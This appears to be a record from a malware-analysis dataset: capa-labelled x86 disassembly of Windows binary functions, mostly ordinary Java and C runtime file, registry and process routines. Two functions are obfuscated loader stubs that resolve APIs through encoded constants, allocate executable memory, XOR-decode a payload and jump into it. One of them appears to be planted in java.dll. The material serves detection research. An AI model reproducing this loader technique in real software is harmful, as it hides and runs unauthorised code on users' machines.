joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d48933b
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x14], 4
mov byte [ebp - 1], 0
je 0x6d4893cf
cmp dword [ebp + 0x14], 1
je 0x6d4893cf
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
je 0x6d489378
push dword [0x6d49bc9c]
mov eax, dword [esi]
push dword [ebp + 0x10]
push esi
call dword [eax + 0x17c]
mov ebx, eax
cmp ebx, edi
jne 0x6d489381
push edi
push esi
call sym.java.dll__JNU_ThrowNullPointerException_8
jmp 0x6d4893c7
push edi
push ebx
push esi
call fcn.6d48ed80
mov edi, eax
test edi, edi
je 0x6d4893c7
push edi
call sub.jvm.dll__JVM_NativePath_4
push edi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x6d4893bf
cmp byte [ebp + 0x18], 0
je 0x6d4893ac
and eax, 0xfffffffe
jmp 0x6d4893af
or eax, 1
push eax
push edi
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
je 0x6d4893bf
mov byte [ebp - 1], 1
push edi
push ebx
push esi
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
jmp 0x6d4893d2
mov al, byte [ebp + 0x18]
leave
ret 0x18

Function at 0x6d48953a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
jne 0x6d489550
push ebx
push dword [ebp + 8]
call sym.java.dll__JNU_ThrowNullPointerException_8
jmp 0x6d4895c3
push esi
push ebx
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.6d48ed80
mov esi, eax
cmp esi, ebx
je 0x6d4895c2
push edi
push esi
call sub.jvm.dll__JVM_NativePath_4
push 0x1b6
push 0x502
push esi
call sub.jvm.dll__JVM_Open_12
cmp eax, ebx
jge 0x6d4895ad
cmp eax, 0xffffff9c
je 0x6d4895b5
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
mov edi, eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x6d48959b
test al, 0x10
jne 0x6d4895b5
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
push esi
push dword [ebp + 8]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
jmp 0x6d4895b5
push eax
call sub.jvm.dll__JVM_Close_4
mov bl, 1
push esi
push dword [ebp + 0x10]
push dword [ebp + 8]
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret 0xc
Function at 0x6d4895ca
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 8]
mov byte [ebp - 1], 0
cmp dword [ebp + 0x10], esi
je 0x6d4895f7
push dword [0x6d49bc9c]
mov eax, dword [edi]
push dword [ebp + 0x10]
push edi
call dword [eax + 0x17c]
mov ebx, eax
cmp ebx, esi
jne 0x6d489600
push esi
push edi
call sym.java.dll__JNU_ThrowNullPointerException_8
jmp 0x6d489651
push esi
push ebx
push edi
call fcn.6d48ed80
mov esi, eax
test esi, esi
je 0x6d489651
push esi
call sub.jvm.dll__JVM_NativePath_4
push 0
push esi
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x6d489649
push esi
test al, 0x10
je 0x6d489636
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
jmp 0x6d48963c
call dword [sym.imp.kernel32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
test eax, eax
jne 0x6d489649
mov byte [ebp - 1], 1
push esi
push ebx
push edi
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x6d4899d1
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov byte [ebp - 1], 0
cmp dword [ebp + 0x10], edi
je 0x6d4899fe
push dword [0x6d49bc9c]
mov eax, dword [esi]
push dword [ebp + 0x10]
push esi
call dword [eax + 0x17c]
mov ebx, eax
cmp ebx, edi
jne 0x6d489a07
push edi
push esi
call sym.java.dll__JNU_ThrowNullPointerException_8
jmp 0x6d489a42
push edi
push ebx
push esi
call fcn.6d48ed80
mov edi, eax
test edi, edi
je 0x6d489a42
push edi
call sub.jvm.dll__JVM_NativePath_4
push edi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x6d489a3a
or eax, 1
push eax
push edi
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
je 0x6d489a3a
mov byte [ebp - 1], 1
push edi
push ebx
push esi
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x6d489abb
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor ebx, ebx
xor edi, edi
cmp dword [ebp + 0x10], ebx
je 0x6d489ae9
push dword [0x6d49bc9c]
mov eax, dword [esi]
push dword [ebp + 0x10]
push esi
call dword [eax + 0x17c]
mov dword [ebp + 8], eax
test eax, eax
jne 0x6d489af3
push 0
push esi
call sym.java.dll__JNU_ThrowNullPointerException_8
jmp 0x6d489b52
push 0
push eax
push esi
call fcn.6d48ed80
mov dword [ebp + 0x10], eax
test eax, eax
je 0x6d489b52
push eax
call sub.jvm.dll__JVM_NativePath_4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x6d489b46
mov eax, dword [ebp + 0x14]
sub eax, 0
je 0x6d489b40
dec eax
je 0x6d489b38
dec eax
jne 0x6d489b46
mov edi, dword [ebp - 8]
mov ebx, dword [ebp - 4]
jmp 0x6d489b46
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xc]
jmp 0x6d489b46
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push esi
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
leave
ret 0x10

Function at 0x6d48a246
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push dword [0x6d49bca0]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.6d4853cb
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x6d48a267
xor al, al
jmp 0x6d48a298
push ebx
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
push eax
push esi
call fcn.6d48ed80
push esi
mov ebx, eax
call dword [sym.imp.msvcr100.dll_free]
add esp, 0xc
cmp ebx, 0xffffffff
je 0x6d48a2a7
mov eax, dword [esp + 0x18]
dec eax
je 0x6d48a295
dec eax
je 0x6d48a29c
dec eax
dec eax
jne 0x6d48a2a7
mov al, 1
pop ebx
pop esi
ret 0x10
mov al, 1
test bl, 0x10
jne 0x6d48a297
test al, bl
je 0x6d48a297
xor al, al
jmp 0x6d48a297

Function at 0x6d48a2ab
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x14], 4
push edi
mov byte [ebp - 1], 0
je 0x6d48a34d
cmp dword [ebp + 0x14], 1
je 0x6d48a34d
push dword [0x6d49bca0]
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.6d4853cb
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x6d48a2e6
xor al, al
jmp 0x6d48a350
push ebx
push esi
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
push edi
call esi
mov ebx, dword [sym.imp.msvcr100.dll_free]
cmp eax, 0xffffffff
je 0x6d48a342
test eax, 0x400
je 0x6d48a31b
push edi
call fcn.6d489bba
pop ecx
mov dword [ebp + 0x14], eax
test eax, eax
je 0x6d48a342
push edi
call ebx
mov edi, dword [ebp + 0x14]
pop ecx
push edi
call esi
cmp eax, 0xffffffff
je 0x6d48a342
test al, 0x10
jne 0x6d48a342
cmp byte [ebp + 0x18], 0
je 0x6d48a32f
and eax, 0xfffffffe
jmp 0x6d48a332
or eax, 1
push eax
push edi
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
test eax, eax
je 0x6d48a342
mov byte [ebp - 1], 1
push edi
call ebx
mov al, byte [ebp - 1]
pop ecx
pop esi
pop ebx
jmp 0x6d48a350
mov al, byte [ebp + 0x18]
pop edi
leave
ret 0x18
Function at 0x6d48a4a8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
xor esi, esi
push esi
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.6d48ed80
mov edi, eax
add esp, 0xc
cmp edi, esi
jne 0x6d48a4c7
xor al, al
jmp 0x6d48a536
push esi
push 0x200080
push 1
push esi
push 3
push 0xc0000000
push edi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x6d48a525
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
cmp esi, 0x50
je 0x6d48a51b
cmp esi, 0xb7
je 0x6d48a51b
push edi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x6d48a51b
push esi
call dword [sym.imp.kernel32.dll_SetLastError]
push str.Could_not_open_file
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
push edi
call dword [sym.imp.msvcr100.dll_free]
pop ecx
jmp 0x6d48a4c3
push edi
call dword [sym.imp.msvcr100.dll_free]
pop ecx
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
ret 0xc

Function at 0x6d48a53b
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebx
push esi
push dword [0x6d49bca0]
xor bl, bl
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.6d4853cb
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x6d48a55f
xor al, al
jmp 0x6d48a59f
push 0x80
push esi
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x6d48a595
push esi
test al, 0x10
je 0x6d48a584
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
jmp 0x6d48a58a
call dword [sym.imp.kernel32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
test eax, eax
jne 0x6d48a595
mov bl, 1
push esi
call dword [sym.imp.msvcr100.dll_free]
pop ecx
mov al, bl
pop esi
pop ebx
ret 0xc
Function at 0x6d48c007
Capabilities:
Delete registry key

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi]
push edi
push 0
push dword [esp + 0x20]
push esi
call dword [eax + 0x2e0]
mov edi, eax
push edi
push dword [esp + 0x1c]
call dword [sym.imp.advapi32.dll_RegDeleteKeyA]
push 0
push edi
push dword [esp + 0x24]
mov ebx, eax
mov eax, dword [esi]
push esi
call dword [eax + 0x300]
pop edi
pop esi
mov eax, ebx
pop ebx
ret 0x10

Function at 0x6d48c34e
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
push edi
xor ebx, ebx
push ebx
push 1
push ebx
mov edi, str.J2SE
push edi
lea eax, [ebp - 8]
push eax
mov byte [ebp - 1], bl
call esi
test eax, eax
jne 0x6d48c389
push 8
push 1
push ebx
push edi
lea eax, [ebp - 8]
push eax
call esi
test eax, eax
jne 0x6d48c389
xor al, al
jmp 0x6d48c3da
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push esi
call dword [eax + 0x2ac]
push ebx
push dword [ebp + 0x10]
mov dword [ebp + 8], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x2e0]
mov edi, eax
push edi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
test eax, eax
je 0x6d48c3bf
mov byte [ebp - 1], 1
mov eax, dword [esi]
push ebx
push edi
push dword [ebp + 0x10]
push esi
call dword [eax + 0x300]
push ebx
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x6d48ed80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x6d48ed8f
pop dword [ebp - 8]
mov eax, 0x5edd0557
sub eax, 0xf19417c8
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x80e10b48
add dword [ebp - 0x18], 0xcd713a03
mov dword [ebp - 0x14], 0xdbf2d69e
add dword [ebp - 0x14], 0x564075a7
mov dword [ebp - 0x10], 0x301b9369
add dword [ebp - 0x10], 0x1c30b0c5
mov dword [ebp - 0xc], 0xd24b641c
add dword [ebp - 0xc], 0x2db49be4
lea eax, [ebp - 0x18]
push eax
mov eax, 0xa4ec191e
add eax, 0xc85d1802
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x3d2a6faf
sub dword [ebp - 0x18], 0xc8b80659
mov dword [ebp - 0x14], 0xabe98704
add dword [ebp - 0x14], 0x9582da71
mov dword [ebp - 0x10], 0x71770820
sub dword [ebp - 0x10], 0xe079bb4
mov dword [ebp - 0xc], 0x768ab0af
sub dword [ebp - 0xc], 0x768ab0af
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x3cd6dc5f
sub eax, 0xcf8dab43
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x36ac1
push 0
call eax
mov ecx, 0x4447
xor edx, edx
add edx, eax
mov ebx, 0x6d49f400
add ebx, dword [ebp - 8]
mov edi, 0x7ac709e3
add edi, 0x6dabb95
add dword [ebp - 4], ebx
mov esi, dword [ebx]
xor dword [ebp - 4], edi
add esi, edi
add dword [ebp - 4], 0x9fb332fc
mov dword [edx], esi
xor dword [ebp - 4], 0xa110a16e
add edx, 0x17093b2b
add edx, 0xe8f6c4d9
add ebx, 0xc79a0d9c
sub ebx, 0xc79a0d98
loop 0x6d48eea7
add eax, 0x7e2f1b36
sub eax, 0x7e2e1747
xor ebx, ebx
add ebx, eax
add eax, 0x38962818
sub eax, 0x38962813
mov ecx, 0x6d480000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x6d491820
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d49bb70]
jne 0x6d49182a
repz ret
jmp fcn.6d491dab
Function at 0x2d8019be
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2d93d100]
jne 0x2d8019c8
repz ret
jmp fcn.2d8b946e
Function at 0x2d8ac5c8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x2d8ac5d7
pop dword [ebp - 0x28]
mov eax, 0x73128d4c
add eax, 0xba78388b
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xef633f31
sub dword [ebp - 0x38], 0xa110f9e6
mov dword [ebp - 0x34], 0x6eb89847
sub dword [ebp - 0x34], 0x3c854c02
mov dword [ebp - 0x30], 0xc6e6df4c
add dword [ebp - 0x30], 0x856564e2
mov dword [ebp - 0x2c], 0xe2856a90
add dword [ebp - 0x2c], 0x1d7a9570
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xd73caf46
sub dword [ebp - 0x38], 0x62ca45f0
mov dword [ebp - 0x34], 0x2e0d133f
add dword [ebp - 0x34], 0x135f4e36
mov dword [ebp - 0x30], 0xd3b2cce8
add dword [ebp - 0x30], 0x8fbc9f84
mov dword [ebp - 0x2c], 0xfd5626e3
sub dword [ebp - 0x2c], 0xfd5626e3
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x5e87e
push 0
call eax
mov ecx, 0xd79304ae
add ecx, 0x286d4e99
mov edx, eax
mov ebx, 0x96b872b7
add ebx, 0x96dfa549
add ebx, dword [ebp - 0x28]
mov esi, 0x49e3bc4
add dword [ebp - 0x1c], 0x92611499
mov edi, dword [ebx]
add dword [ebp - 4], ecx
xor edi, esi
sub dword [ebp - 0x18], ebx
mov dword [edx], edi
add dword [ebp - 0x10], 0xda72783b
add edx, 4
add ebx, 0xcc993fc6
sub ebx, 0xcc993fc2
loop 0x2d8ac6e9
add eax, 0x39d1a3ff
sub eax, 0x39d06410
mov ebx, eax
add eax, 0x8ae4358b
add eax, 0x751bca7a
mov ecx, 0x2d800000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x40377f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403822
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.0041736c
pop ecx
pop ecx
test eax, eax
je 0x40380b
test ebx, ebx
je 0x4037ff
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.0041736c
pop ecx
pop ecx
test eax, eax
jle 0x40380b
push ebx
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x4037cc
xor edi, edi
cmp ebx, edi
jne 0x403826
xor eax, eax
jmp 0x403892
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403855
call fcn.0040473f
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403822
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403822
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403845
cmp dword [ebp - 0x70], edi
je 0x403888
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x9c
leave
ret
Function at 0x404934
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.004047a1
push 8
mov esi, eax
call fcn.004046d7
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40499f
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x4049a6
and dword [ebx + 4], 0
jmp 0x4049bb
xor eax, eax
jmp 0x404a86
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x404a6c
push edi
call fcn.00408090
pop ecx
cmp eax, 4
jl 0x404992
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x404992
add eax, 0xfffffffd
push 0x4197b4
push eax
mov dword [ebp - 0x74], eax
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
je 0x404a01
push 0x4197b0
push dword [ebp - 0x74]
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push 0x3b
push edi
call fcn.004097a0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push dword [ebp - 0x78]
call fcn.00408090
push edi
mov ebx, eax
call fcn.00408090
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.004046d7
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.0041736c
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.0041736c
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.004047f7
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x404992
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.0040473f
push ebx
call fcn.0040473f
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x214
leave
ret

Function at 0x4088d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4088e3
repz ret
jmp fcn.00410778
Function at 0x507211f7
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, dword [sym.imp.kernel32.dll_IsBadWritePtr]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x10
push esi
call ebx
test eax, eax
je 0x50721219
xor edi, edi
jmp 0x50721229
mov edi, dword [esi]
sub edi, 0x779ff326
neg edi
sbb edi, edi
not edi
and edi, esi
test edi, edi
jne 0x50721237
mov eax, 0x810002
jmp 0x50721369
mov esi, dword [ebp + 0x10]
push 0x18
push esi
call ebx
test eax, eax
jne 0x50721366
mov ebx, dword [ebp + 0xc]
push 0x10
push ebx
call dword [sym.imp.kernel32.dll_IsBadReadPtr]
test eax, eax
jne 0x50721366
mov eax, dword [ebx]
xor ecx, ecx
cmp eax, ecx
je 0x50721366
cmp word [eax], cx
je 0x50721366
lea edx, [ebp - 4]
push edx
push 0x507270e0
lea edx, [ebp - 0x114]
push 0x104
push edx
push 0xffffffffffffffff
push eax
push ecx
push ecx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
xor edx, edx
cmp eax, edx
je 0x50721366
cmp dword [ebp - 4], edx
jne 0x50721366
cmp dword [ebx + 8], 4
je 0x507212b5
mov dword [ebp + 8], 5
jmp 0x50721361
mov ecx, dword [esi]
cmp ecx, edx
je 0x507212f1
mov eax, dword [esi + 8]
cmp eax, edx
jbe 0x507212f1
add eax, eax
push eax
push ecx
call dword [sym.imp.kernel32.dll_IsBadWritePtr]
test eax, eax
jne 0x50721366
mov eax, dword [esi]
mov dword [0x5072b5b4], eax
and word [eax], 0
mov eax, dword [esi + 8]
mov dword [0x5072b5b8], eax
mov eax, dword [edi + 8]
mov dword [0x5072b5bc], eax
jmp 0x507212fd
mov dword [0x5072b5b4], edx
mov dword [0x5072b5b8], edx
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x114]
push eax
mov ax, word [ebx + 0xc]
push eax
push dword [edi + 4]
call fcn.507215ca
movzx eax, ax
test eax, eax
mov dword [ebp + 8], eax
jne 0x50721361
push 1
and dword [esi + 0xc], 0
pop eax
lea ecx, [ebp - 0x10]
mov dword [esi + 4], eax
mov dword [esi + 0x10], eax
mov ax, word [ebx + 0xc]
push 0xa
mov word [esi + 0x14], ax
mov word [edi + 0xc], ax
movzx eax, ax
push ecx
push 0x1004
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
test eax, eax
jle 0x50721361
lea eax, [ebp - 0x10]
push eax
call fcn.50723f67
pop ecx
mov dword [edi + 8], eax
mov eax, dword [ebp + 8]
jmp 0x50721369
push 2
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x50724bd1
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [esp + 8]
cmp eax, 1
jne 0x50724cc5
call dword [sym.imp.kernel32.dll_GetVersion]
mov ecx, dword [0x5072b5cc]
mov dword [0x5072b608], eax
test ecx, ecx
jne 0x50724c31
cmp al, 3
jne 0x50724c08
test eax, 0x80000000
je 0x50724c08
push 2
call fcn.5072668d
add esp, 4
push 0x50727104
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x50724c31
push str.IsTNT
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x50724c31
push 1
call fcn.5072668d
add esp, 4
call fcn.50725016
test eax, eax
jne 0x50724c3d
ret 0xc
mov ecx, dword [0x5072b608]
xor edx, edx
mov eax, ecx
mov dl, ch
and eax, 0xff
mov dword [0x5072b614], edx
mov dword [0x5072b610], eax
shl eax, 8
add eax, edx
shr ecx, 0x10
mov dword [0x5072b60c], eax
mov dword [0x5072b608], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x5072b9f4], eax
call fcn.50726537
mov ecx, dword [0x5072b9f4]
mov dword [0x5072b5c4], eax
test ecx, ecx
je 0x50724cbb
test eax, eax
je 0x50724cbb
call fcn.50725b32
call fcn.5072652c
call fcn.50725fba
call fcn.50725ecc
call fcn.5072577f
mov eax, dword [0x5072b5c0]
inc eax
mov dword [0x5072b5c0], eax
mov eax, 1
ret 0xc
call fcn.5072504d
xor eax, eax
ret 0xc
test eax, eax
jne 0x50724d00
mov eax, dword [0x5072b5c0]
test eax, eax
jle 0x50724cfb
mov ecx, eax
mov eax, dword [0x5072b62c]
dec ecx
test eax, eax
mov dword [0x5072b5c0], ecx
jne 0x50724ce9
call fcn.507257c1
call fcn.50725d2a
call fcn.5072504d
mov eax, 1
ret 0xc
xor eax, eax
ret 0xc
mov eax, 1
ret 0xc

Function at 0x507257d0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x5072b630]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x507257ef
push ebp
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x5072b62c], 1
mov byte [0x5072b628], bl
jne 0x50725849
mov ecx, dword [0x5072b9e8]
test ecx, ecx
je 0x50725837
mov esi, dword [0x5072b9e4]
sub esi, 4
cmp esi, ecx
jb 0x50725837
mov eax, dword [esi]
test eax, eax
je 0x50725830
call eax
mov ecx, dword [0x5072b9e8]
sub esi, 4
cmp esi, ecx
jae 0x50725822
push 0x50728014
push 0x50728010
call fcn.50725874
add esp, 8
push 0x5072801c
push 0x50728018
call fcn.50725874
add esp, 8
test ebx, ebx
jne 0x50725870
push ebp
mov dword [0x5072b630], 1
call dword [sym.imp.kernel32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret